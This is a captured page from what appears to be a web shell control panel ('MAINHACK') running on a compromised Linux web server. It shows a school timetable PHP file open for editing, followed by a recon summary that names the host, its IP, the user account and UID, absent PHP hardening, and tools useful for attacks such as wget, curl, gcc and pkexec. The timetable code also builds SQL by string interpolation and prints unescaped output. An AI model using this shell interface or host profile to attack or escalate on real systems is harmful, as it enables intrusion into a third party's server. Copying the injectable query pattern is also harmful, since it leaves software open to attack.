[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: printtable.php
<?php include("../functions.php"); if (!isset($_SESSION['dbmail_Xw211qAAsq4'])) { header("location:../auth-login"); } else { $s_code = $_SESSION['s_code_Xw2119904']; // Fetch all saved timetable records including is_break_time $sql = "SELECT * FROM timetable1 WHERE s_code = '$s_code'"; $result = $new->query($sql); // Organize timetable data by day and time_slot $timetableData = []; if ($result->num_rows > 0) { while ($row = $result->fetch_assoc()) { $timetableData[$row['day']][$row['time_slot']] = [ 'course' => $row['course'], 'room' => $row['room'], 'teacher' => $row['teacher'], 'is_break_time' => $row['is_break_time'] // Include break time flag ]; } } // Fetch course, room, and teacher details for display $courses = $new->query("SELECT * FROM class WHERE s_code = '$s_code'")->fetch_all(MYSQLI_ASSOC); $teachers = $new->query("SELECT * FROM schools WHERE school_code = '$s_code' and user_name != 'Admin'")->fetch_all(MYSQLI_ASSOC); $rooms = $new->query("SELECT * FROM room WHERE s_code = '$s_code'")->fetch_all(MYSQLI_ASSOC); function getCourseName($id, $courses) { foreach ($courses as $course) { if ($course['cid'] == $id) { return $course['class_name']; } } return 'Free Period'; } function getRoomName($id, $rooms) { foreach ($rooms as $room) { if ($room['id'] == $id) { return $room['name']; } } return ''; } function getTeacherName($id, $teachers) { foreach ($teachers as $teacher) { if ($teacher['id'] == $id) { return $teacher['user_name']; } } return ''; } } ?> <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Timetable</title> <style> table { width: 100%; border-collapse: collapse; } th, td { border: 1px solid #ddd; padding: 8px; text-align: center; } th { background-color: #f2f2f2; } .break-time { background-color: #ffa500; color: white; font-weight: bold; } .free-period { background-color: #90ee90; color: black; font-style: italic; } /* Style for the print button */ .print-button { margin: 20px 0; padding: 10px 20px; font-size: 16px; cursor: pointer; } /* Print styles */ @media print { /* Set the orientation to landscape */ @page { size: landscape; /* This sets the page size to landscape */ } /* Hide the print button when printing */ .print-button { display: none; /* Hide the button on print */ } /* Additional styles for printing can be added here */ } </style> <script> function printTimetable() { window.print(); // Triggers the print dialog } </script> </head> <body> <h2>Timetable</h2> <!-- Print Button --> <button class="print-button" onclick="printTimetable()">Print Timetable</button> <table> <tr> <th>D/T</th> <?php $start = new DateTime('10:00 AM'); $end = new DateTime('05:00 PM'); $timeSlots = []; while ($start < $end) { $current = $start->format('h:i A'); $start->modify('+60 minutes'); $next = $start->format('h:i A'); $slotTime = "$current - $next"; $timeSlots[] = $slotTime; echo "<th>$slotTime</th>"; } ?> </tr> <?php $days = ["Monday", "Tuesday", "Wednesday", "Thursday", "Friday"]; foreach ($days as $day) { echo "<tr><td>$day</td>"; foreach ($timeSlots as $slot) { $data = $timetableData[$day][$slot] ?? null; // Get the timetable data for the current day and slot if ($data && $data['is_break_time'] == 1) { // Break Time Cell echo "<td class='break-time'>Break Time</td>"; } else { // Retrieve saved data or assign free period $courseName = getCourseName($data['course'] ?? null, $courses); $roomName = getRoomName($data['room'] ?? null, $rooms); $teacherName = getTeacherName($data['teacher'] ?? null, $teachers); $cellClass = ($courseName === 'Free Period') ? 'free-period' : ''; echo "<td class='$cellClass'> <div>$courseName</div> <div>$roomName</div> <div>$teacherName</div> </td>"; } } echo "</tr>"; } ?> </table> </body> </html>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.77 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002